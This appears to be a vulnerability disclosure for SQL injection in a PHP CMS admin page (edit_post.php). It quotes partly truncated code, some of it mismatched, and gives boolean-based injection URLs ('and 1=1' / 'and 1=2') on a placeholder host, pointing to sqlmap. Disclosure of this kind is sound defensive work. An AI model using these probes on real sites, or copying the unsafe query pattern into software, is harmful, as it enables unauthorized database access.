jsjbcyber Update bug_d History

1 contributor

49 lines (42 sloc) | 2.21 KB

```
affected source code file: /admin/edit_post.php

affected source code:

  <?php
    include ("includes/headerRefresh.php");
    include ("includes/config.php");
    include ("functions/functions.php");
    require_once ("includes/session.php");
    check_login();
    ?>
    <?php get_settings(); ?>
    <?php if ((intval($_GET['page']) == 0) || (intval($_GET['post']) == 0)) {
        redirect_to("manage_posts.php");
    } ?>
    <?php include ("header.php") ?>
    <?php
    $errors = array();
    if (isset($_POST['submit'])) {
        if ($_POST['title'] == "")
            $errors['title'] = "Title of the Post is required !";
        if ($_POST['position'] == "")
            $errors['position'] = "Position of the Post is required !";
        if ($_POST['content'] == "")
            $errors['content'] = "Content of the Post is required !";
        if (empty($errors)) {
            $id = mysql_prep($_GET['post']);

            $page_id = mysql_prep($_POST['page_id']);
            $title = mysql_prep($_POST['title']);
```

```
            $active = mysql_prep($_POST['active']);
            $position = mysql_prep($_POST['position']);
            $content = mysql_prep($_POST['content']);

            $query = "UPDATE posts SET page_id = '{$page_id}', title = '{$title}', active = '{$act
    .........
  ?>

affected position:

  $query = "UPDATE pages SET title = '{$title}', keywords = '{$keywords}', description = '{$descri
  "page" and "post" parameter has not been safely processed. SQL injection can be achieved by cons

affected executable:
  Like this: http://xx.xx.com/admin/edit_post.php?page=2&post=2 and 1=1
             http://xx.xx.com/admin/edit_post.php?page=2 and 1=1&post=2
             http://xx.xx.com/admin/edit_post.php?page=2&post=2 and 1=2
             http://xx.xx.com/admin/edit_post.php?page=2 and 1=2&post=2

Then, we can use tools like sqlmap for more information.
```